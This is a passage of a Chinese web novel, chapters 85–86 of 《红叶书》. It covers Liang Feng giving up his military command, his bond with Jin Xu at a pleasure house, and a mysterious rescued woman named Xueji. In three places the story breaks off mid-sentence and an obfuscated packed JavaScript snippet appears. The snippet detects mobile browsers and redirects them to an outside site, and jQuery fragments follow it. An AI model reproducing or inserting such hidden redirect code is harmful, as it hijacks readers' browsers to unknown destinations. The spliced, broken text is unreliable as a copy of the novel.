金絮与最外侧的士兵搭话,没说几个字便遭到士兵挥手驱赶。她顿时变得隐含怒气,说话的动作都变大了,士兵却不耐烦,再次驱赶她。 不知道在说了什么,梁风远远看着。军营里有规定,所有士兵站岗放哨时尽可能避免与民众说话,避免士兵与亲属模糊界限,动摇军令的黑白分明。 金絮似乎见谈话无用,从袖子里掏出兵符,继续和士兵对峙。 梁风顿时看明白她在做什么了。 那士兵看见她的符,嗤嗤笑了,仍是驱赶她。 既不收走她的符也不会言语谩骂,只是轻视,梁风明白她的意思了。 金絮仍纠缠不休,周围其他士兵围过来,以一对多,她很处于下风了。 梁风走过去,守城门士兵看见他立即住嘴敬礼。金絮也不争执了,斜眼打量他,装作不认识的样子。 士兵向他简述刚才的争执,说这名女子的家人在城外,没有办置路引,于是询问能不能通融一下,放她的家人进来。 梁风低头看着金絮默默拢袖收好老虎的小动作,有一点点恼意,她又拿家人出来做借口,便道:“没有路引自然无法进城。” 士兵又说她伪造兵符,是否需要报官府。梁风立马朝她伸手,“拿来吧。” 金絮暗暗瞪他一眼,不情不愿地把兵符拿出来给他。 “报官便不必了,但不许有下次。”梁风警告。 金絮一哼,扭头就走。 他好好地把兵符放进怀中,夸奖士兵们做得不错,士兵们得了鼓励,继续雕塑一般守着城门。 梁风跟在金絮后面,将近走到街尾才追上她。 “说了你不要过来。” “再不过来你都要受欺负了。” “受欺负的不是我,受欺负的是皇帝的兵符。” 她这话有道理,梁风认同,不过摸摸怀里的兵符,松了口气,“我用别的东西和你换。” 她斜眼颇不屑地看他这个动作,看看他的胸口,看看他衣服里面的老虎,道:“你以为把兵权交给皇帝,皇帝就能对你放心了?就不怕你会造反了?” 她用衣袖擦擦鼻子,“兵符在谁手里并不等同于兵权在谁手里。你是傻子,皇帝又不是傻子。” 梁风不想管那么多,踏实地摸着衣服里面的老虎,权力的归属与认同他很难说清楚,“天底下聪明人少得很,傻子里面不多我一个。” 她脚底一扭,进了旁边的茶馆,坐下休息。 她呼吸有点乱,是走累了,梁风坐到她面前,给她点一碗茶水。 “我要姜茶。” 梁风点姜茶,也给自己点一碗。 两碗姜茶上来,金絮吹吹烫,喝一口。 街道有马疾驰而过,扬起阵阵灰尘,灰尘吹进茶馆简陋的棚下,梁风抬袖子挡住她的婉。 “你去不了燕国。” 姜气熏脸,金絮捧着碗,看茶水倒映的灰尘影子。 “燕国地大物博,底蕴强盛,你如果去了,皇帝肯定会怕你在燕国屯兵做大。” “那我会去哪里?”傻子问。 “哪儿也不去,在皇帝眼皮子底下安分待着。” “那你去哪里?”傻子又问。 “我哪儿都能去,反正不在你眼皮子底下待着。”答的聪明人道。 傻子可把这话听得明白,提醒:“你还有温柔馆呢。” “我知道,不用你提醒。” 她喝茶,慢慢地把一碗茶喝完了,道:“你交出兵权,皇帝会相信你是在表露忠诚,还是觉得你在挑衅?你不在军营,但你在军营内无处不在。” 梁风想了想说:“可能刚开始士兵们不太适应,过不了多久就会好的。” 他也把茶喝完了,不咋好喝,能喝下去。 “你就继续傻吧。”金絮放下几枚铜板,起身回馆。梁风忙掏出一小颗金子,拿回她的铜板。 “这么小一间茶馆,找不开金子。”金絮又拿回他的金子,放下铜板。 梁风被她拽走了。 一前一后,拉扯连带,路上总有行人朝他们侧目,梁风全部无视掉。 “你说的我都明白。” “明白才怪。”金絮看也不看他,“去操心自己的事情吧,我这里不用你陪,交出兵权之后有很多事情需要你处理吧。” “以后要陪吗?” “以后也不用。” “以后的以后要陪吗?” “以后的以后也不用。” 梁风简直不乐了,不想理她。金絮也不兴他理不理,专心走路。 “我想要你陪我。”梁风拽住她站定,不让她走了, “你在温柔馆里面,我是哪一次没有陪你。” “不是那种陪。”她才是傻子,俩傻子凑一块了。 “你那是在弹曲子,要拨弄哪跟琴弦全看曲子弹到了哪个地方,琴弦对你来说不重要,弹完整首曲子对你来说才重要,我顶多是算琴弦里面包了金线的那条。” 她有些意外,微不可察地点头,“挺聪明的话。” 被夸了,梁风仍是不乐,“所以呢?” “所以去找点你的事情干,我不可能全部时候用来陪你。” 她说得爽爽快快,梁风不开心,可也知道她说的是对的。 “还记得我那天推你下水的时候和你说过什么?” “你说你想救我。” “我说不想淹死的话,你要自己游上来。” 梁风不看她,不想冲她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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兵权转移需要理由,为了保证营内秩序稳定,梁风不能瞬间消失。而这个理由,令满朝堂的脑袋凑到一块议论。 议论的内容包括他的府邸。 安分王的府邸,到底是叫将军府还是叫王府。 以往都是叫王府,但他府邸的实际规格完全不符合一个诸侯王的标准,反而是将军府的规制。 安分王交出兵符,失去将军的身份,全身上下都需要换新。若府邸也换新,则需收购王府周边所有的商铺民居,扩建为王宫规模,这无论如何做不到,梁风势必要就任藩地。 他要成为真正意义上的诸侯王了。纷纷议论像是在说他,又不像是在说他。 梁风奋力打听到提出这一方向的人是冯棹台。兵符的确只是个无用的象征物,他的府邸如何定义都不由他说了算。 可他如今是不太想去藩地了,倒有些愿意留在京城陪伴金絮—— 或者让金絮陪伴他。 冯棹台的提议未敲定,夹杂在众多议论中的一件小事,是画那几幅女子画像的画师丢了饭碗。 梁风听说后,决定下次再有女子画像送来,他定是看都不会看去一眼的。 朝堂的议论尚会理性,民间的议论却不会。百姓们对于安分王让权的事迹猜测逐渐放肆,更多停留在他是如何被女人蛊惑的神秘传说上。传来传去,千年的狐狸精在龙气笼罩的京城中现身了,专门在男人身上吸食某种东西。 他无心听这些传说,更在意皇帝会将他的兵权转交给谁。 兵权要一点一点分化,一点一点转移。应当不是楚通,楚通经验不足,尚需老兵传授带训。 他在军营一如往常地和士兵们喝酒吃肉,掏了许多金子给兄弟们加餐。 酒肉间大约有不舍,但在随时横刀一抹、鲜血四溅、人命呜呼的战场和军营,这点不舍似乎无足轻重。 他一如往常地指挥操练、监控水利巡防。空闲的时候,没事情做。 不过他听金絮的,给自己找了个事。 那天金絮用来砸他的树棍,他想做成毛笔,用来交换送给她的兵符。梁风一连几天都在做笔,一边留心皇帝的举动。 他人坐军营,心系城内,手里做着赔罪的东西。 毛笔还没做成时,想到交出兵权的风声传开后,敬先便没有搭理过他了。 他向定北侯府递函请见,遭侯府拒见。 好像惹了敬先不高兴。金絮那里的空闲不分给他,敬先也不愿意见他了。 梁风后知后觉反应过来,他放弃军营的时候,身边许多人也放弃他了。 165. 《红叶书》(八五) 居然反应这么慢。 他呆了呆,急急忙忙,去崔府向敬先赔罪。 与拜帖的拒见不同,崔府小厮听说是他立即请了他进去,在厅堂喝茶稍候。 鱼和熊掌不可兼得,抛弃出生入死的兄弟,当然也会有人抛弃他。 想开了,梁风心境前所未有地平静,茶盏未动,双腿安安地放在手上。 脚步声响过,敬先在门外边出现。 互相看望静默半晌,随着敬先一声狠狠叹息,梁风当先移开视线,盯榻板。 敬先恨铁不成钢,“说好的整顿军营呢?这就是你整顿的方式?你整顿整的是自己啊?把自己给赶了出去?我爹还不让我说你。” 梁风端坐正,义正辞严道:“我和你爹做出的选择是一样的,本来就不能说我。” 敬先眯了眯眼,似乎也想到当年,忍不住嫌弃,最后叹道:“要不要看看我的崽。” “要。” 于是奶娘抱了小孩过来。走在前面的却是崔固。 崔固蓄须了,黑白夹杂的薄薄一片胡子垂在胸前。 梁风肃然起敬,见到崔固心情一时难言。 崔固反倒看得开,摆摆手对他道:“这才几年,你就从军营退出来,可惜太子的人难堪大任。” “当年从您手中接管兵权时,我也难堪大任。”梁风道。 崔固首位坐下,感慨:“好的将领都是需要时间训练出来的,如果你一直在军中,这样的将领恐怕难以出现。” 梁风大约知道崔固的意思,有些羞愧,他在军中对手下的管教太过宽松了,对自己也宽松。 “你的决定,我是支持的。”崔固看着他道。 梁风心里一喜,还没喜出来就听敬先咧骂道:“支持支持,支持完了命都没了。” 他心里的喜又下去,看看敬先的脸色。不过敬先就骂了这一句,和和平平地从奶娘怀里接过小孩,抱来给他看。 梁风全身凑过去瞧,瞧见棉衣里的一团小脸,小脸上又细又浅的眉毛,一双眼睛溜圆乌黑,看不见下巴。 小孩咧嘴啊了一声,小手成拳挥舞着,像是和他打招呼。 “行军打仗是为了安邦定国,国内有家,不能国守住了家没了。”崔固看着孙子道。 梁风在崔固眼中看见了安定的慈祥,以前和崔固同在军时从未见过,慈祥不知道是一种什么样的感觉。他又看向小孩,抬手在棉衣上面捏了捏。 真是很软,棉衣软,棉衣里面也软,没有骨头一样,脆弱得很。抱小孩和握刀只能选一个。 他往上摸摸那面团般的脸颊,微微一掐。小孩呀了一声,手脚挣动了一下,不知是叫是笑。 敬先打掉他的手,“不是自己的崽就这么没轻没重。” 掐小孩的脸难道是握刀吗?他很轻的。但是梁风不摸了,手收回来。 “接下来你打算怎么做?”敬先问他。 “等朝廷动静吧,皇帝还没批准我交出兵权。” 获批是必然,白得的兵权皇帝怎么可能不要,只是早晚的问题。如今朝堂主要议论的事情无非两个,对于他的处置与兵权的交接,议论完了就直接把兵符拿走了。 “你只能留在京城。”崔固忽然道。 梁风愣了,这是和金絮相同的说法,他问:“为什么?” “还用问为什么,你看我爹还有别的路可选么?” 梁风无言。 “圣上若是问你,你往后打算如何,你可想好了怎么回答?”崔固问他。 梁风摇头。他暂时是不想和皇帝形成那种对峙的一换一局面,毕竟他身边还有金絮。 “圣上不会让你日子太难过,你大可宽心。圣上应当会为你择选妻子,你若是能选个令圣上满意的妻子,你说不准能就任藩地。”崔固倒不多说什么。 择选妻子,梁风心里打个大大的叉。 这件事情他不会妥协,当时和皇帝说愿意交出兵权时就没有提过条件,他不想以身边人和皇帝换取利益,最好的可能是皇帝先表态。 梁风沉默,他想金絮了。 在崔府无别事,梁风便告辞。 敬先摇着宝宝的小手和他说再见。梁风摇着自己的大手和宝宝说再见。 他骑马去温柔馆。看到温柔馆的瓦顶时想起尚未完成的毛笔,手下掉转头去匠坊,把笔头加固一下。加固笔头太过精细,他弄不来。 匠人拿了笔,三两下看不懂的做法就给弄好了。 他随身不带散钱,全是金子,匠坊老板拿了金子乐呵呵地给毛笔多加了一圈小挂绳。 梁风安心地揣着完美的毛笔去找她。 温柔馆开业时辰是酉时,此时还差一刻钟,大门关着,他心里定定地推门。可能是临近开业,大门一下就推开了。 厅堂人很多,姑娘和丫鬟忙着事情,梁风进去,偶尔有人看看他,都不理他。 他没找见金絮,于是去她房间。 庭院里人更多。梁风路过砖桥,看见桥旁岸边放着一个桶,桶里三条鱼,桶上横放一根鱼竿。 想必是丽姬的钓鱼工具,但没见到丽姬姑娘。 梁风继续走,走到了她房前,正准备敲门,恰好听见丽姬的声音。 “我无法理解,一个人在军营历练这些年,也该里里外外泡出一股血腥气了。” 丽姬的声音从房里传出来,梁风手悬在半空,敲不下去,听见金絮回复了什么,她的回复反而听不清。 “那不然改朝换代靠什么?靠嘴皮子吗?手中握刀的人,讲出来的话才有人听,而他把刀扔了!” 丽姬大声地反驳。梁风垂手后退,不可置信没有准备地来找她,居然会正好碰上他和丽姬议论自己的时候。 他不愿偷听,回到砖桥边上等她出来,反正快开业,她马上就来了。 等着等着,研究起丽姬的鱼竿。 鱼竿是根树枝,粗细均匀,一段绑了条长长的细绳,细绳另一头挂着钩子。他觉着是金絮专门给丽姬做的。 “你在干啥?” 丽姬一道响,梁风顿时攥紧竿子转身,见丽姬正立眉瞪着他。 “乱动我的东西。”丽姬往桶里瞅一眼,“想偷我的鱼啊?” 梁风忙不迭摇头,“不偷不偷,丽姬姑娘今日是已经钓足了三条鱼的。” 丽姬危险地眯眼,逼近他,狠道:“我该去练练女红,学学穿针引线,缝住你的嘴,不让你那点软趴趴的心肠从嘴里吐出来。” 梁风紧紧闭嘴,喉咙空空地往下咽。 “丽姬。”金絮一道响。 梁风当即往金絮那边挪了几步。 丽姬一哼,把鱼倒回池子里,夺了他手里的竿子,走了。金絮皱眉看着丽姬离开,不再说什么。 梁风走到她跟前,问道:“你要把我的房间收走吗?” 金絮看丽姬的眼睛移过来,眉头还皱着,“不收,你不是花了金子的。” 这他就放心了。梁风拿出笔盒,打开来,殷勤地递给她,“送给你。” 金絮接过,里外上下看了看,挑眉,“一支毛笔就想换十万大军,你想得可真美。” “还想送你衣服的,可是不知道你的尺寸。”梁风老实道。 “衣服就不要了,我多得很。”她合上盖子,收了,“勉强够数吧,那老虎又不听我的话。” 她朝前馆走,“送笔就好,要是送得贵重一点,用不了多久,整个燕国的金子都砸到了温柔馆。” “不会啊。” “真要把整个燕国送来也就算了,我只是怕皇帝会查我。” “你不用怕,如果皇帝查你,我会暗中为你拦下的。”他殷勤道。 金絮瞥了他一眼,不说话。 直到了厢房,梁风这才知道她为何会说整个燕国的金子砸到了温柔馆。 他的整个房间被布置得金碧辉煌。之前宝格架子上的东西全没了,换以他在王府的日常用具,东西不是金的就是嵌了翡翠珠玉。原本大件的家私保留,榻板也没换,床榻换了,棉被布帛全是适合他的偏硬程度。最重要是房间里的香气消失了。 “李管家希望我重视你。”金絮闲闲道。 梁风听了心里不停地点头。 “李管家用了两天时间才把这个房间换了副模样。”金絮向他行礼,“梁公子可是能住这种地方的人,小女子不敢得罪。” 她这副样子,是有点不乐意的。 金絮翻白眼,“这是你家还是我家啊?过分。” 梁风忙道:“这当然是你家,我要回去好好和老李说道说道。” 她冷哼。梁风犹豫着还是说:“但是不用改了,就这个样子,挺好的,我是要住的。” 他殷殷的,“我想到了,可以送你斗篷,斗篷不用担心尺寸不合适,而且穿着不冷。” 他用手掌放平,在她的肩头和自己身上比了比,比出斗篷的长度。 金絮应道:“好啊。那我要红的,不是大红色,是绛红和朱瑾色之间的红。” 那是个什么颜色,他不是很明白,但是他记下了,“好,我会在入冬前送你。” 金絮略略满意,不搭理他了。 梁风则极为满意,看着新房间哪儿哪儿都很顺眼,一时间甚至不在乎皇帝对他的决策了。 然而没有顺眼几天,皇帝便跳到他面前。 王府收到圣旨,梁风这天从军营赶回去接旨,这是一道问询的圣旨。 皇帝说,交出兵权不等于退役,询问他是否还愿意留在军营。 梁风想了,没想很久,答曰不愿。 皇帝再回复的圣旨下得更快,宣称安分王以托病请辞为由退役,交移兵权,兵符暂由皇帝保管。 皇帝赐了个副尉之职给他,位于太尉之下。 他在京城的归属还未商定下来,皇帝就先把兵权拿了,估计是怕他反悔。 他留有随时巡视军营与过问军务的权利,不掌印,无批驳与升降任免权。就是一个挂名闲职,以不显得他这么多年竹篮打水。 他觉得这也是皇室保留脸面的方式之一。 不过圣意中多了一句没写进圣旨里的话,夏培转述。夏培说,对外宣称安分王因身体病故而退役,因此梁风最好是卧床几天,暂勿离府。 他都在军营和温柔馆来来回回跑了这么多天,母亲去世始没一天歇了,这会儿开始装模作样实在太假。但梁风没把这些话说出来,依了皇帝。 他的大将军之位无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839900|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人顶替,从前下面的人功劳都不足够,目前军营最高将领是皇帝的人,不是楚通。 虽然头上有个闲职,但为了不惹人嫌,他最好还是少去军营。 皇帝这道旨意下发后,梁风将兵符交给夏培,依言称病住在府里几日。 这几日,朝廷对他往后的安排终于商定。 朝廷惜念安分王往日功绩,对他的离去表示万分遗憾,但是军营制度虽然稳定,将领皆不成熟,朝野内外没了安分王或许将生动荡,皇帝与游丞相联名请他希望他能留下镇守京城。 前面几道圣旨,皇帝想猜他的态度却不猜,连迂回地问都不会,原来是也存着跟他和平共处的想法,这个留他的借口已经是很好听的了。 梁风心里有点感慨,他隐约地能猜到皇帝在想什么了。这么多年终于猜到了一点,他却要从军营中抽身了。 这个理由可以,安排也行,他往后要把心思多放在金絮那里,希望她的生活能越来越好。 期盼这样的事情,远比从前处处掣肘苦熬母亲能够出宫要好多了,好得多多了。 几日后,他再去军营收拾尾事。 他在营里的东西要拿回府,其余事情也需简单交接,往后再有何事,营里的人也会找他。不过大约是不会的,崔固退役后,他除了找敬先外,基本没有再找过崔固。 他逐渐感到轻松,真正从军营完全抽身,已经十一月了。 他毫不犹豫泡进了温柔馆的脂粉堆,准备在温柔馆过第一个春节。 绛红和朱瑾色之间的红斗篷早已准备好,梁风抱着衣服,在寒风刮到她身上前送给了她。 “送得晚了些,你有没有生气?” 她摇头,“说了你会忙。” 金絮穿上斗篷在镜子前看了看。梁风觉得好看,尺寸合适,颜色很衬她,领口还有些金线绣的纹样,反正她穿什么都好看。 “内层做了暗扣的,你可以在里面把斗篷扣起来,冬天就不容易手冷。”他在自己身上比划示意。 金絮便从里面扣上扣子,变成了一个冒头的红筒。 梁风悄悄走近她,挤进她的镜子里,道:“我想抱抱你。” 金絮看向他,不说话。他摸摸鼻子,“我从军营出来了。”他只是有那么点喜悦想要分享。 金絮又从里面解开扣子,张开双手松松地抱住了他。 交出兵权,他没死,他身边的人没死,他府里的人没死。 梁风回抱,却不敢抱得太紧。 “你说的,无论好坏,得偿所愿值得恭喜。”金絮道:“好不好,坏不坏,目前也看不出来。” “嗯。” 担子终于卸下,他无论如何是很开心的。 “很快过年了,我买年货的时候你也一起去,温柔馆缺个拎东西的。” “好啊。” 今年第一场雪在十一月尾声落下。 每到年底,最后一个多月温柔馆的生意就会变得冷清,他有许多时间在温柔馆空耗。气温也冷了,他于是睡大觉,前些年缺了的觉一气补回来。 可是睡久了会累,身体根本耐不住冬眠。梁风就在金絮空闲的时候,拽着她一起四处看京城的雪景,或者为温柔馆购置年货,拉着板车跑来跑去。 十二月中旬,城内北面新开了一家炭铺。女子多怕冷,金絮想趁机多囤一点炭火,梁风便和她一块去,买了一大马车的炭块。 采购完和她贴肩乘着大马车回馆,看见温柔馆门前的雪堆中横着一个人影。 路边常有冻死骨,无人愿意冻死在青楼门下。 梁风跳下马车,快步走近一看,倒在温柔馆门前的是个女子,身上的雪已经落了一层。 金絮追着他下了车,道:“快,把她抱进屋。” 梁风将倒地女子抱了进去,她浑身几乎没有暖意,好在尚未发僵,还有气息。金絮急忙叫来孙姨,将女子就近放入一间厢房,其他姑娘闻声接连赶来。 孙姨指挥众人:“热水先烧着,但别让她泡,先把她衣裳脱了,快。” 厢房门关了,梁风留在外面,心里也担心。 从前行军时,路上也遇到过士兵快被冻死的情况。最佳的处理方式不是立即泡入热水,而是先隔绝风雪,脱掉衣服,由体温正常的人将她团团抱住,把她焐热,焐得渐渐回暖了再泡热水。焐热她的人也要避免被冻着,隔一刻钟就换一批人继续焐。 姑娘们没遇到过这种事情,抱住冰冷的身体时纷纷哀嚎喊冷,梁风在外面都听得清楚。她们很不容易,男子更耐寒一些,体温也更高,从前军营这样救人时几个人轮一次就好了。 等了一个时辰,房门终于开了,孙姨指挥着抬热水进去。 门开的间隙,梁风看见了金絮。她坐在床边,抚摸窝在棉被里的女子脸颊,女子昏迷未醒,脸颊苍白无血。金絮动作轻柔缓慢,仿佛摸一摸,这张脸颊就能碎掉。 独身女子倒在青楼门前,她是来投靠的吗?年节还没到,大雪纷飞之际,温柔馆来了新人。 他忽有所感,回头一看,看见厅堂另一侧,坐着一脸冷漠的丽姬。 丽姬并没有参与到救人的行动中去,闲闲看着厅堂中央唱曲的高台,好像不关心这个陌生女子的死活。 166. 《红叶书》(八六) 房门再次关上,里面一阵水声。 “你不去帮帮她们吗?”梁风问丽姬。 “不救。” “你冷漠得很。” “呵。” 那女子要是没救过来金絮会很难过的。梁风起身,不安地在房门前转来转去。 “你歇会吧,这才十二月,还没到人会死的时候呢。”丽姬道。 “十二月能冻死人了,我很担心金絮。” “呵。” 刚才热水送进去应当救活了的,没有大碍吧。 丽姬斜眼看着这边道:“这女人我一看就不喜欢。” “为什么不喜欢?”说完他就想到没有必要探究这个问题,可他抱进这名女子送到房里,期间脸上还沾着雪,这么短的时间能看清什么,丽姬却能发现自己不喜欢她。 “说不清楚,反正就是不喜欢。”丽姬任性道。 “丽姬姑娘不喜欢的人可多了。” 她听了,转念一寻思,“那也是。” 过两刻钟,金絮出来了,吩咐丫鬟煮姜汤。梁风问她:“怎么样啊?” “没事了。” “是什么人啊?你认识么?” 她摇头,“不认识。” “她一贯是什么人都捡。”丽姬一旁凉凉道。 金絮瞥眼事不关己的丽姬,认真地回答:“对,我连你也捡。” “哼。” “那女子没事就好。”梁风拽拽她,想拉她一边说话,“到正月我又要忙起来了。” 金絮无所谓,“你忙你的,过年时候我也会忙了。” 梁风还想说什么,转而问:“你一般怎么过年啊?” “不怎么过年,温柔馆一般是用来给别人过年的。” “有空出去走走么?” “没有。” 把话堵死了,梁风一时找不到新话。 “天气冷,不想动。”她道。 她原来是要冬眠的。梁风只好道:“那先这样吧,等到时候得空了我再问问你。” “年节宫里肯定有宴,你要参加的吧。” “也可以不去。”他不想去。 “去吧,交出兵权的第一场宴肯定要出席的,也是向皇帝展示你的乖巧。”她不咸不淡地说。 乖巧。梁风琢磨琢磨,有点道理。加上之前交兵权的由头是说他病了,也要趁新春宫宴展示一下他的病好了。 估计就算他不去,相府那边也会有人过来委婉地劝他去的,到时他还是得听话。 “可是我想和你过年。” “你想就你想咯。”她打个哈欠,走了。 梁风和她的哈欠一块被撂在原地。 他想得很简单,收到朝廷送来的请帖,然后到日子赴约,宴席上喝喝酒吃吃饭看看舞蹈也就是了。 然而一进入正月,朝廷的请柬刚送下来,相府和九卿就有人上府拜访,告诉他以正式的诸侯王身份参与朝廷宴会必要的礼仪。说是告诉,其实是教导。 以及相府请求他配合完善诸侯王仪制,包括服饰、出行乘舆、按期前往宗室祭拜祖宗等,还有他府里的下人数量,全都要补齐。 居然没他想得那么简单。 从前是有军职做借口掩盖,如今他没了军职,全然以诸侯王的身份滞留京城,这都是必须遵循的祖宗规矩。 这些新鲜的祖宗规矩还是很多年之前,梁戟以淮南王身份拒绝赴藩,当时在位的大哥迫不得已为他制定下来的。 梁风看着浩大的程式,一一应下。 他当然可以不依,礼仪而已,只是想日子还能过得下去,就没必要和朝廷撕破脸。 在他死记硬背各祖宗的祭拜日子时,皇帝来旨,询问何时适宜为他扩建府邸,年前?年后?还是等待入夏。 他直接回绝了,不用扩建。如今更多时候住在温柔馆,偶尔才回府几天,扩建干什么,现在的王府规模也容得下规定的下人数量。 皇帝同意了,游照同也没说什么,这时祖宗规矩忽然消失了。 梁风很明白,这类平衡关键在于有来有回,拒绝了这个,就得答应那个。他答应了完善仪制,那么可以拒绝扩建府邸。 之后直到春节,他忙于应付各类礼仪,温柔馆少去,听说金絮那边也忙起来了。 到了宫宴当天,梁风依照仪式与宴。诸侯王的级别位于皇后之下。待人齐,他四处看了看,发现仍是和敬先隔了很远。 歌起,舞起,菜起,梁风吃吃喝喝。有人向他寒暄敬酒,梁风来者不拒,喝了几杯才意识到刚病愈的人不能喝多,于是酒杯半放下。 宴中歌舞稍歇时,有人站出向皇帝献礼,梁风抽空瞥了眼,那人献的是女儿。 他饭也不吃了,专注听这人说话。这人说自己女儿适龄,容貌昳丽,并呈上画像,希望陛下纳之。 皇帝看了画像,没说话,没把画像给回去。那人便暗暗笑着退回席位。 接着又有两三人上呈自己女儿的画像,皇帝像对待酒食一样来者不拒。 梁风看在眼里,这些女子都不满十八,而皇帝已经四十一了,皇帝还不拒绝。 插曲过,歌舞继续起,席间响起纷纷的议论声。 梁风留心一听才知道,他的兵权一分为二,一半在皇帝手里,一半在游照同手里。这场宴会向皇帝献殷勤的,瞅准的只是皇帝的那一半,他们私底下还会向游照同献殷勤。 交出兵权后,他没再安排暗卫打听消息,不关注朝廷的动静了。 他默然,兵权怎么分他管不着了,别人怎么献女儿更管不着,他还要忙着表现乖巧,不过以后还是得注意一下朝堂的动静才好。 宴毕,梁风出宫去温柔馆。 温柔馆歌舞正浓,男人们对着唱台兴奋地叫喊,唱台上数名女子共唱一首曲子。 梁风找金絮。厅堂的散席已经没有他的位置了。 找不着她,梁风回房。 唱台一曲毕,他踩着阶梯往楼上去,听见一道单独的女声响起,瞭阔地传遍全馆,压住了男人们的躁动。 这是没听过的声音,他脚步不停,一边上楼,一边往唱台下望是何人在唱。只见一名面生的女子在唱台一角与琴边弹边唱,旁若无人。 她的脸长得有点怪,梁风多看两眼。是一种很莫名的怪,好像脸上蒙了一团雾气,看不清楚,但是眼睛和嘴唇非常明亮,可她的嘴唇又不是很红的那种。 他看半天看不明白,只能解释是涂了妆。温柔馆三不五时会有新人进来,他没在意,继续走。 上到三楼,那女子拨弄摇指,唱了一个长调,眼神幽幽地和着琴曲一荡,居然向他看来。 目光准确地看住他,梁风一愣,脚步不自觉停了,在她目光下竟产生被锁定的感觉。 他简直以为自己眼花了,什么人能锁定他,而且这女子的眼神让他感到一阵熟悉,像是从前许多次见过。 她的眼神并不锐利,不会锋芒毕露,淡淡看着他,如同看着每一个陌生的人。 慢慢地,梁风浑身冒出一层浅浅的鸡皮疙瘩,忽然感到害怕,他急忙拉住路过的姑娘道:“阿絮呢?快叫阿絮来找我。” 他盯住那名女子,不让她跑了。那女子似乎发现了他的关注,唱曲间隙朝他微微一笑,浅淡的笑容仿佛漂浮云端,一下子让五官深刻了,笑与不笑仿佛是两张脸。 梁风愈发感到危险,紧紧盯着她。 金絮很快来了,不耐地走来,“什么事情?我忙着呢。” 他急急指向台上女子,“那人是谁?” 她看了眼道:“就是那天你抱回来的人啊。” “就是她么。”梁风诧异,完全没认出来,可能当时冻着脸色太过苍白,“她要留在温柔馆?” “对啊。”金絮道:“她不想要旧名字,我给她取了新名字,叫雪姬。” “不行。”梁风危机十足,指着雪姬道:“你看不出来吗?她眼中有仇恨。” “仇恨?”金絮往下看着雪姬,十分疑惑。 “她的仇恨在她眼中收放自如,她已经仇恨了很久。” 梁风说得笃定:“你曾经次次拿这样的眼神看着我,我绝对没有看错。” 她一愣,看着梁风的眼睛很不明白。 梁风能够直视进她眼底,她眼中已经没有那股捉摸不透的雾气。 “但是和你不一样,你眼中有挣扎,她眼中连挣扎都没有。” 她挪开视线,“你那么厉害。” “她会不会影响到你?” “影响什么?” “你在装傻。” 她不说话,梁风拽住她的手腕道:“这人不能留在温柔馆。” “我已经让她留下了。” “不行,绝对不行。” 她不耐烦,“你管得着吗?” “你已经被她影响了!”梁风惊恐,“她是不是卖身进馆,我为她赎身,给她安排好去处,我让她离开你。” 金絮脸上没了表情,连不耐都没有,静静垂眸望着雪姬,望了许久,转身道:“随你。” 挣脱他的手走掉了。 梁风很不安,金絮的无所谓加深了他的恐惧,他很害怕雪姬会影响到金絮。 不行,他得看看雪姬到底是什么人。 再往下看时,那女子已经不在了。梁风急忙跑下去,逮着一个人就问,得知雪姬去了庭院。 金絮喜欢待在庭院。梁风着急找人,无意识走了一条最常走的路。 走到尽头,越过树丛一眼看见了那座桥,同样一眼看见了坐在桥上的人。 一身蓝白色的衣裳混合她的妆,整个人像一团雾气,笼罩出独属于她的领域。 金絮最喜欢的也是这样坐在桥栏上。梁风简直不能呼吸了,脑海中忽然浮现好多年前的那场大火,金絮藏在他府中,那时的金絮就是这样一幅打扮,服白,郁郁地独自在自己领域里坐着,向他哭。 他想走过去,知道这不是她,给他的感觉太过相似,想像那年一样走近,安慰她不哭。 可是有人抢在他前面走了过去。 旁边草地窸窣响过,金絮从池水那头出现,向雪姬走去,没注意到他。 她很自然地牵雪姬的手,两人并肩去寝楼。 梁风瞪大眼睛,毫不犹豫冲过去,飞快地越桥,把她两人扯开,抓住金絮连连后退,警惕地看着雪姬。 金絮目瞪口呆,差点被他踩了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839901|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚。 雪姬不明所以,还在愣着,先行一礼,“公子。” “你干什么?”金絮怒道。 离得近了,梁风再次打量雪姬。不像离远了瞧,她的脸庞变得清晰了,明显化了妆。五官是寻常的五官,只是眼中有股很哀伤的感觉,像是随时要哭出来,这股将哭不哭的样子就是离远看时蒙着一层雾的原因。 梁风愈发警惕,她身上的气质和从前的金絮很不相同,不会让人觉得她浑身冒刺,甚至可以说柔和,但是内敛的仇恨更加危险。 雪姬和丽姬完全不一样,她们俩名字很像,但是完全不一样。 “你叫雪姬,是温柔馆新来的姑娘。” 雪姬乖顺地垂下眼,“是。” 她的眼睛一低下去,仇恨的盯梢感立马减轻许多,这一点和金絮很像,梁风更加警惕。 他道:“趁着还未泥足深陷,我可以帮你。我为你赎身,另寻个安身立命之处,离开温柔馆,温柔馆不是什么好地方。” 金絮看了他一眼,没说话。 雪姬抬起头,脸上微微笑着,眼睛在这一刻很清澈,“公子,小女已经深陷泥潭了,赎身不能救我。” 她再福身,“小女知道那日是公子您及时救了小女才未致冻毙,小女感激不尽。” 